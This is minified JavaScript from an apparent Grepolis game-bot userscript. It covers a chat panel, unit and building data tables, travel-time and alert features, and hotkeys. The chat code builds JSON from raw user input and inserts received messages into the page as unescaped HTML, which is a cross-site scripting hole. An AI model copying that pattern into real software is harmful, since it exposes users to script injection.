MousePopup(mslang[86]));$("#send_input").keydown(function(e){if(e.keyCode==13){logosaver.chat.send_request()}});if(/user\d+/.exec(logosaver.chat.nickname)!=null){$("#nick_input").keydown(function(e){if(e.keyCode==13){logosaver.chat.give_me_access($("#nick_input").val())}})}this.get_request(1);this.requests_in_time()},close_me_now:function(){clearInterval(this.chatrittimer);$("#mchatbox").remove()},requests_in_time:function(){this["chatrittimer"]=setInterval("logosaver.chat.get_request(0);",10000)},get_request:function(firsttime){var botonline=($("#barpart1 .farmlicense").html()!="")?1:0;var data='{ "type" : "get", "nick" : "'+logosaver.chat.nickname+'", "firsttime" : '+firsttime+', "botonline" : '+botonline+" }";meatscripts.postMessage.send(window.frames.ex,{view:"chatget",json:data,nick:Game.player_name,server:meatscripts.host})},get_request_callback:function(data){var data=JSON.parse(data);$("#muserlist").empty();for(i in data.nowonline){$("#muserlist").append('<div class="mchatnick u'+data.nowonline[i].botonline+'">'+i+"</div>")}for(i in data.messages){if($("#mess-"+data.messages[i].id).length!=0){continue}var time=new Date(data.messages[i].time*1000),hours=(time.getHours()>9)?time.getHours():"0"+time.getHours(),minutes=(time.getMinutes()>9)?time.getMinutes():"0"+time.getMinutes(),seconds=(time.getSeconds()>9)?time.getSeconds():"0"+time.getSeconds();if($("#mpole .mess").length>logosaver.chat.limit){$("#mpole .mess:eq(0)").remove()}var botonline=(data.nowonline[data.messages[i].nick]!=undefined&&data.nowonline[data.messages[i].nick].botonline==1)?1:0;$("#mpole").append('<div id="mess-'+data.messages[i].id+'" class="mess u'+botonline+'">['+hours+":"+minutes+":"+seconds+"] "+data.messages[i].nick+": "+data.messages[i].text+"</div>")}$("#mpole")[0].scrollTop=10000},send_request:function(){if($("#send_input").val()==""){HumanMessage.error(mslang[81]);return}var msc_d=new Date();if(this.flood_security+2000>msc_d.getTime()){HumanMessage.error(mslang[82]);return}this.flood_security=msc_d.getTime();var message=$("#send_input").val(),nick=$("#nick_input").val(),data='{ "type" : "send",  "nick" : "'+logosaver.chat.nickname+'", "message" : "'+message+'" }';$("#send_input").val("");meatscripts.postMessage.send(window.frames.ex,{view:"chatsend",json:data,nick:Game.player_name,server:meatscripts.host})},send_request_callback:function(data){var access=JSON.parse(data);switch(access.access){case"true":HumanMessage.success(mslang[83]);break;case"speed":HumanMessage.error(mslang[82]);break;case"false":default:meatscripts.request_error();break}},},};
var assistant={a:"'",db_1:{
		militia : { wood : 0, stone : 0, iron : 0 },
		sword : { wood : 95, stone : 0, iron : 85 },
		slinger : { wood : 55, stone : 100, iron : 40 },
		archer : { wood : 120, stone : 0, iron : 75 },
		hoplite : { wood : 0, stone : 75, iron : 150 },
		rider : { wood : 240, stone : 120, iron : 360 },
		chariot : { wood : 240, stone : 120, iron : 360 },
		catapult : { wood : 1200, stone : 1200, iron : 1200 },
		minotaur : { wood : 1400, stone : 600, iron : 3100 },
		manticore : { wood : 4400, stone : 3000, iron : 3400 },
		zyklop : { wood : 2000, stone : 4200, iron : 3360 },
		harpy : { wood : 1600, stone : 400, iron : 1360 },
		medusa : { wood : 1500, stone : 3800, iron : 2200 },
		centaur : { wood : 1740, stone : 300, iron : 700 },
		pegasus : { wood : 2800, stone : 360, iron : 80 },
		cerberus : { wood : 1125, stone : 1350, iron : 2700 },
		fury : { wood : 2250, stone : 4500, iron : 4500 },
		big_transporter : { wood : 500, stone : 500, iron : 400 },
		bireme : { wood : 800, stone : 700, iron : 180 },
		attack_ship : { wood : 1300, stone : 300, iron : 800 },
		demolition_ship : { wood : 500, stone : 750, iron : 150 },
		small_transporter : { wood : 800, stone : 0, iron : 400 },
		trireme : { wood : 2000, stone : 1300, iron : 900 },
		colonize_ship : { wood : 10000, stone : 10000, iron : 10000 },
		sea_monster : { wood : 5400, stone : 2800, iron : 3800 }
	},db_2 :{
		main : new Array('110', '11', '12', '13', '15', '16', '18', '20', '22', '24', '26', '29', '32', '35', '38', '42', '46', '51', '56', '62', '68', '75', '82', '90', '99'),
		hide : new Array('21', '6', '8', '11', '14', '18', '23', '30', '39', '51'),
		storage : new Array('15', '2', '2', '3', '3', '4', '4', '5', '5', '6', '7', '8', '9', '10', '12', '13', '15', '17', '20', '22', '25', '29', '33', '38', '43', '49', '56', '64', '73', '83'),
		farm : new Array('17', '2', '2', '3', '3', '3', '4', '4', '5', '5', '6', '6', '7', '8', '9', '10', '11', '12', '14', '16', '18', '20', '22', '25', '28', '31', '35', '39', '44', '49', '55', '62', '69', '77', '87', '97', '109', '122', '136', '153'),
		lumber : new Array('22', '2', '2', '3', '3', '3', '4', '4', '4', '5', '5', '6', '6', '7', '8', '8', '9', '10', '11', '12', '13', '15', '16', '18', '20', '22', '24', '26', '29', '32', '35', '38', '42', '46', '51', '56', '62', '68', '75', '82'),
		stoner : new Array('22', '2', '2', '3', '3', '3', '4', '4', '4', '5', '5', '6', '6', '7', '8', '8', '9', '10', '11', '12', '13', '15', '16', '18', '20', '22', '24', '26', '29', '32', '35', '38', '42', '46', '51', '56', '62', '68', '75', '82'),
		ironer : new Array('22', '2', '2', '3', '3', '3', '4', '4', '4', '5', '5', '6', '6', '7', '8', '8', '9', '10', '11', '12', '13', '15', '16', '18', '20', '22', '24', '26', '29', '32', '35', '38', '42', '46', '51', '56', '62', '68', '75', '82'),
		market : new Array('108', '9', '9', '10', '11', '12', '13', '14', '15', '16', '17', '19', '20', '22', '24', '26', '28', '30', '32', '35', '38', '41', '44', '47', '51', '55', '60', '64', '70', '75'),
		docks : new Array('66', '7', '7', '8', '9', '10', '11', '12', '13', '14', '16', '17', '19', '21', '23', '25', '28', '31', '34', '37', '41', '45', '49', '54', '60', '66', '72', '80', '88', '96'),
		barracks : new Array('33', '4', '4', '5', '5', '6', '7', '7', '8', '9', '10', '11', '13', '14', '16', '17', '19', '22', '24', '27', '30', '33', '37', '42', '46', '52', '58', '64', '72', '80'),
		wall : new Array('34', '4', '5', '5', '6', '6', '7', '8', '9', '10', '11', '13', '14', '16', '18', '20', '22', '25', '28', '31', '35', '39', '44', '49', '55'),
		academy : new Array('67', '8', '9', '10', '11', '13', '14', '16', '18', '20', '22', '25', '28', '31', '35', '39', '44', '49', '55', '62', '69', '77', '87', '97', '109', '122', '136', '153', '171', '192'),
		temple : new Array('216', '17', '19', '20', '22', '24', '25', '27', '30', '32', '35', '37', '40', '44', '48', '51', '55', '59', '64', '69', '78', '81', '87', '94', '102'),
		theater : new Array('500'),
		thermal : new Array('500'),
		library : new Array('500'),
		lighthouse : new Array('500'),
		tower : new Array('500'),
		statue : new Array('500'),
		oracle : new Array('500'),
		trade_office : new Array('500'),
		place : new Array('33')
	},db_3 :{
		main : { left : 461, top : 210 },
		hide : { left : 388, top : 326 },
		storage : { left : 367, top : 263 },
		farm : { left : 620, top : 159 },
		lumber : { left : 486, top : 439 },
		stoner : { left : 115, top : 240 },
		ironer : { left : 103, top : 75 },
		market : { left : 615, top : 255 },
		docks : { left : 335, top : 395 },
		barracks : { left : 258, top : 190 },
		wall : { left : 313, top : 278 },
		academy : { left : 395, top : 100 },
		temple : { left : 60, top : 127 },
		theater : { left : 277, top : 76 },
		thermal : { left : 277, top : 66 },
		library : { left : 278, top : 22 },
		lighthouse : { left : 55, top : 380 },
		tower : { left : 550, top : 330 },
		statue : { left : 550, top : 330 },
		oracle : { left : 550, top : 330 },
		trade_office : { left : 556, top : 334 },
		place : { left : 522, top : 230 }
	},init_module:function(){if(meatscripts.param_ass_2==1){this.duration_script.init_script()}if(meatscripts.param_ass_3==1){this.game_links.init_script()}this.alarm_about_events.init_script();if(meatscripts.param_ass_6==1||meatscripts.param_ass_7==1||meatscripts.param_ass_8==1){this.map_info.init_script()}if(meatscripts.param_ass_5==1){this.hot_keys.init_keys()}},level_of_buildings:{switchOn:function(){if(!$("#index_toggle_hammer").hasClass("index_toggle_hammer_pressed")){$("#index_toggle_hammer").click()}},switchOff:function(){$("#index_toggle_hammer.index_toggle_hammer_pressed").click()},init_points:function(){for(var i=0;i<$("#buildings > div").length;i++){var buildingId=/building\_main\_(.*)/.exec($("#buildings > div:eq("+i+")").attr("id"))[1],level=parseInt($("#buildings > div:eq("+i+") span.level.white").html()),future_level=level+$('#building_tasks_main div.main_tasks_image[style*="'+buildingId+'."]').length,number=(assistant.db_2[buildingId].length==future_level)?"":assistant.db_2[buildingId][future_level],points=$('<div class="mspfb">'+number+"</div>");$("#buildings > div:eq("+i+") .building .image").append(points)}},init_levels:function(data){$("#index_hammers").empty();$("#index_translucent").empty();var full_queue=($("#curator").hasClass("passive"))?2:7;$.each(data.town_buildings,function(buildingId,building){var level=(building.level!=null)?building.level:building.max_level,future_level=level+$('#building_tasks_index div.main_tasks_image[style*="'+buildingId+'."]').length,circlesize=(level<10)?"lob1":"lob2",up="",down=($("#building_tasks_index .main_tasks_task").length!=full_queue&&building.can_tear_down)?'<div class="leveldown" id="down_'+buildingId+'" onClick="BuildingMain.tearDown('+assistant.a+buildingId+assistant.a+');"></div>':"";if(assistant.db_2[buildingId].length==future_level){var mypossible="maxlevel"}else{if(!building.enough_population||!building.enough_resources||!building.enough_storage){var mypossible="impossible"}else{if($("#building_tasks_index .main_tasks_task").length>=full_queue){var mypossible="constructed"}else{var mypossible="possible";up='<div class="levelup" id="up_'+buildingId+'" onClick="BuildingMain.buildBuilding('+assistant.a+buildingId+assistant.a+');"></div>'}}}var circle=$('<div class="mslob"></div>'),ilevel=$('<div class="mslevel">'+level+"</div>");circle.css({top:assistant.db_3[buildingId].top+"px",left:assistant.db_3[buildingId].left+"px"});circle.attr("id","mslob_"+buildingId);circle.addClass(circlesize);ilevel.addClass(mypossible);ilevel.mousePopup(new MousePopup(getUpgradeBuildingData(building,false)[0]));$("#index_hammers").append(circle.append(ilevel).append(up+down));if(level===0){var elBuilding=$('<img id="index_'+buildingId+'" src="'+Game.img()+"/game/visual2/"+buildingId+'0.png">');elBuilding.fadeTo("fast",0.5);$("#index_translucent").append(elBuilding)}})},},duration_script:{delta_x:0,delta_y:0,distance:0,msot:{left:0,top:0,},msdo:{left:0,top:0,},init_script:function(){setInterval("assistant.duration_script.part_3()",10);$('#map #map_towns a[id^="town"]').live("mousedown",function(){var id=this.id;var nid=/([0-9]+)/.exec(id);setTimeout(function(){$("a.msfocused").removeClass("msfocused");$("a#"+id).addClass("msfocused");$("#context_menu").append('<a class="assot" onMouseDown="assistant.duration_script.part_2('+assistant.a+"ot"+assistant.a+", "+nid+');"><span>'+mslang[47]+'</span></a><a class="assdo" onMouseDown="assistant.duration_script.part_2('+assistant.a+"do"+assistant.a+", "+nid+');"><span>'+mslang[48]+"</span></a>");$(".assot").fadeIn(1800);$(".assdo").fadeIn(1800)},250)});$("#units_sidebar").append('<div class="sidebar_unit_wrapper" style="display: block;"><div class="sidebar_unit_container clearfix" id="msduration_container" style="display: block;"><div class="dur_block">'+mslang[49]+'</div><a id="msot" href="#">...</a><div class="dur_block">'+mslang[50]+'</div><a id="msdo" href="#">...</a><div class="dur_block">'+mslang[51]+':</div><div id="msdistance">0</div><div class="dur_block">'+mslang[52]+':</div><div id="msduration">0</div></div><a class="toggle_units msduration mstoggled" href="#"></a></div>');$(".msduration").click(function(){$("#msduration_container").css({display:($("#msduration_container").css("display")=="none")?"block":"none"});$(".msduration").attr({"class":($(".msduration").attr("class")=="toggle_units msduration")?"toggle_units msduration mstoggled":"toggle_units msduration"})})},part_2:function(type,id){var left=/([0-9]+)px/.exec($("#map #map_towns a.msfocused").css("left"))[1],top=/([0-9]+)px/.exec($("#map #map_towns a.msfocused").css("top"))[1];assistant.duration_script["ms"+type].town=WMap.mapData.getTown(id);assistant.duration_script["ms"+type].left=left;assistant.duration_script["ms"+type].top=top;$("#ms"+type).html(assistant.duration_script["ms"+type].town.name).attr("href",$("#map #map_towns a.msfocused").attr("href"));$("#ms"+type).bind("click",function(e){assistant.duration_script.part_4(type,e,this)})},part_3:function(){this.delta_x=this.msot.left-this.msdo.left;this.delta_y=this.msot.top-this.msdo.top;this.distance=Math.round(Math.sqrt(Math.pow(assistant.duration_script.delta_x,2)+Math.pow(assistant.duration_script.delta_y,2))*1000)/1000;if(($("#msot").html()!="...")&&$("#msdo").html()!="..."){$("#msdistance").html(assistant.duration_script.distance)}var speed=MapDuration.speed;var duration_readable;if(speed>0){var duration_seconds=Math.round((assistant.duration_script.distance*50)/speed);duration_seconds+=MapDuration.duration_offset;duration_readable=readableSeconds(duration_seconds);$("#msduration").html("~ "+duration_readable)}else{$("#msduration").html("0")}},part_4:function(type,e,elem){WMap.mouseDownTarget=elem;var t=(type=="ot")?{clientX:e.clientX,clientY:e.clientY}:{clientX:e.clientX,clientY:e.clientY};WMap.delegateClick(t)},},alarm_about_events:{counter_1:0,counter_2:0,counter_3:0,init_script:function(){if(meatscripts.param_ass_11==1){this["interval_1"]=setInterval("assistant.alarm_about_events.part_2();",5000)}if(meatscripts.param_ass_13==1){this["interval_2"]=setInterval("assistant.alarm_about_events.part_3();",5000)}if(meatscripts.param_ass_14==1){this["interval_3"]=setInterval("assistant.alarm_about_events.part_4();",5000)}},part_2:function(){this["current_attack"]=$("#incoming_attack_count_text").html();if(this.counter_1<this.current_attack&&this.current_attack>0){this.audio(1)}this.counter_1=this.current_attack},part_3:function(){this["current_messages"]=($("#new_messages").hasClass("message_icon"))?1:0;if(this.counter_2<this.current_messages){this.audio(2)}this.counter_2=this.current_messages},part_4:function(){this["current_reports"]=($("#new_reports").hasClass("message_icon"))?1:0;if(this.counter_3<this.current_reports){this.audio(3)}this.counter_3=this.current_reports},audio:function(type){switch(type){case 0:var mp3="http://autofarmbot.ru/bot/mp3/intro.mp3";break;case 1:var mp3=(meatscripts.param_ass_12!="")?meatscripts.param_ass_12:"http://autofarmbot.ru/bot/mp3/alarm.mp3";break;case 2:var mp3="http://autofarmbot.ru/bot/mp3/message.mp3";break;case 3:var mp3="http://autofarmbot.ru/bot/mp3/report.mp3";break;default:break}meatscripts.add_audio_player('<div class="'+((meatscripts.param_ass_12!=""&&type==1)?"msaaa":"msawv")+'"><div><object type="application/x-shockwave-flash" data="http://autofarmbot.ru/bot/mp3player.swf" height="53" width="'+((meatscripts.param_ass_12!=""&&type==1)?"359":"1")+'" style="margin:-28px -3px -5px -4px;"><param name="wmode" value="transparent" /><param name="allowFullScreen" value="true" /><param name="allowScriptAccess" value="always" /><param name="movie" value="http://autofarmbot.ru/bot/mp3player.swf" /><param name="FlashVars" value="way='+mp3+'&amp;swf=http://autofarmbot.ru/bot/mp3player.swf&amp;w=359&amp;h=53&amp;time_seconds=0&amp;autoplay=1&amp;q=&amp;skin=grey&amp;volume=70&amp;comment=" /></object></div>'+((meatscripts.param_ass_12!=""&&type==1)?'<div onClick="$('+assistant.a+".msaaa"+assistant.a+").fadeOut(1000, function() { $("+assistant.a+".msaaa"+assistant.a+').remove(); });">'+mslang[58]+"</div>":"")+"</div>");if($(".msaaa").length!=0){$(".msaaa").fadeIn(1000)}},},game_links:{window:{},init_script:function(){meatscripts.add_to_panel('<div id="address_string"><div class="msileft"><div class="msiright"><input type="text" class="msinput" id="address_input" placeholder="q.url" /></div></div><a class="msa1" onClick="assistant.game_links.part_2();"></a><a class="msa2" onClick="$('+assistant.a+"#address_input"+assistant.a+").val("+assistant.a+assistant.a+');"></a></div>',"pos3");meatscripts.add_sep_to_panel("pos3");$("#address_input").mousePopup(new MousePopup(mslang[84]));$("#address_string .msa1").mousePopup(new MousePopup(mslang[85]));$("#address_string .msa2").mousePopup(new MousePopup(mslang[86]))},part_2:function(){var url=$("#address_input").val().split("|");if(url[0]=="q.url"&&url[2]==parseInt(url[2])){switch(url[1]){case"towninfo":if(url[3]!="jumpto"&&url.length==5){Layout.wnd.Create(4,url[4],{action:url[3]},{id:url[2],nlreq_id:Game.notification_last_requested_id,town_id:Game.townId})}else{if(url[3]=="jumpto"&&url.length==6&&url[4]==parseInt(url[4])&&url[5]==parseInt(url[5])){WMap.mapJump({id:parseInt(url[2]),ix:parseInt(url[4]),iy:parseInt(url[5]),tp:"town"});WMap.mapTiles.focusTown(url[2])}}break;case"biginfo":if(url.length==5&&url[3]=="player"){Layout.wnd.Create(24,url[4],{player_id:url[2]})}else{if(url.length==5&&url[3]=="alliance"){Layout.wnd.Create(8,url[4],{alliance_id:url[2]})}}break;case"islandinfo":if(url.length==6&&url[4]==parseInt(url[4])&&url[5]==parseInt(url[5])){Layout.wnd.Create(5,"",{},{id:url[2],ix:url[4],iy:url[5],res:url[3],tp:"island",})}break;default:break}}},part_3:function(elem){var rng=document.createRange();rng.selectNode(elem);var sel=window.getSelection();sel.removeAllRanges();sel.addRange(rng)}},map_info:{init_script:function(){WMap.mapJump({id:+Game.townId,ix:WMap.islandPosition.x,iy:WMap.islandPosition.y});meatscripts.add_to_panel('<div id="map_info"><a class="'+((meatscripts.param_ass_9==1)?"msa4":"msa3")+'"></a></div>',"pos2");meatscripts.add_sep_to_panel("pos2");$("#map_info a").click(function(){meatscripts.param_ass_9=($("#map_info a").attr("class")=="msa3")?1:0;$(".names").css({display:(($("#map_info a").attr("class")=="msa3")?"block":"none")});$("#map_info a").attr({"class":(($("#map_info a").attr("class")=="msa3")?"msa4":"msa3")});meatscripts.save_cookie()});$("#map_info a").mousePopup(new MousePopup(mslang[87]))},},buffs:{reloadWindow:0,timer:0,mana:{},init_buttons:function(window){this.reloadWindow=window;this.timer=setInterval("assistant.buffs.save_mana()",50);setTimeout(function(){$("#units").append('<div class="rost'+(80>assistant.buffs.mana.hera.current?" disabled":"")+'" onClick="assistant.buffs.apply_buff(0);"></div><div class="zov'+(60>assistant.buffs.mana.poseidon.current?" disabled":"")+'" onClick="assistant.buffs.apply_buff(1);"></div>')},50)},apply_buff:function(buff){this.active=$(".unit_active").parent().attr("id");var power_id=(buff==0)?"fertility_improvement":"call_of_the_ocean",params={power:power_id,id:Game.townId,castedFromTownView:true},data={json:JSON.stringify(params),};meatscripts.request(data,url("town_info","cast"),function(data){data=JSON.parse(/\{(.*)\}/.exec(data)[0]);if(data.error){HumanMessage.error(data.error);return}if(data.success){HumanMessage.success(data.success)}if(typeof data.finished_at=="number"){GPEvents.global.trigger(GPEvents.global.overviews.power_casted,{power:power_id,id:Game.townId,data:data})}GPEvents.global.trigger(GPEvents.global.overviews.favor_changed,data.bar.favors);if(Layout.unitBar instanceof LayoutModules.PowerBar){Layout.unitBar.destroy();Layout.unitBar=new LayoutModules.PowerBar()}else{if(Layout.unitBar instanceof LayoutModules.UnitBar){Layout.unitBar.destroy();Layout.unitBar=new LayoutModules.UnitBar()}}Layout.unitBar.update();Layout.updateBar(data.bar);this.mana=ITowns.getTown(Game.townId).allGodsFavors();assistant.buffs.reloadWindow.wnd.reloadContent()},function(){})},save_mana:function(){if(ITowns.getTown(Game.townId).allGodsFavors().hera!=null){this.mana=ITowns.getTown(Game.townId).allGodsFavors()}},},hot_keys:{ifocus:0,init_keys:function(){$("input, textarea").live("focus",function(){assistant.hot_keys.ifocus=1});$("input, textarea").live("blur",function(){assistant.hot_keys.ifocus=0});$(document).keydown(function(e){if(assistant.hot_keys.ifocus==0){if(e.keyCode==37){Layout.townSwitch(ITowns.getPrevTownId(Game.townId))}if(e.keyCode==39){Layout.townSwitch(ITowns.getNextTownId(Game.townId))}}});$(document).keypress(function(e){if(assistant.hot_keys.ifocus==0){if(e.charCode==49){Layout.townIndex.open(Game.townId,Game.townName)}if(e.charCode==50){Layout.wnd.Create(Layout.wnd.TYPE_MESSAGE,mslang[61])}if(e.charCode==51){Layout.wnd.Create(Layout.wnd.TYPE_REPORT,mslang[100])}if(e.charCode==52){Layout.wnd.Create(Layout.wnd.TYPE_ALLIANCE)}if(e.charCode==53){Layout.allianceForum.open()}if(e.charCode==54){Layout.wnd.Create(Layout.wnd.TYPE_PLAYER_SETTINGS,mslang[25])}if(e.charCode==56){Layout.wnd.Create(Layout.wnd.TYPE_RANKING,mslang[134],{},/([0-9]+)/.exec($("#link_ranking a").html()),Game.townId)}if(e.charCode==57){Layout.wnd.Create(Layout.wnd.TYPE_PREMIUM,mslang[135],{})}if(e.charCode==32){WMap.mapJump({id:Game.townId,ix:WMap.islandPosition.x,iy:WMap.islandPosition.y})}}})},},};
var visuality={init_module:function(){$('a[href="#invite_friends"]').html("Друзья");$("#chat_link").parent().remove();if($("#links li").length==15){$("#premium_link").remove()}},};
var preLoader=setInterval(function(){if(window.$!=undefined){var typePage;if($("#start").length!=0){if($("#links").html()!=null){typePage=0}}if($("#sidebar").length!=0){if($("#map_towns").html()!=null&&$("#map_towns").html()!=""){typePage=1}}if($("#forum_body").length!=0){typePage=2}if(typePage!=null&&window.meatscripts.enable==null){clearInterval(preLoader);meatscripts.full_init(typePage)}}},50);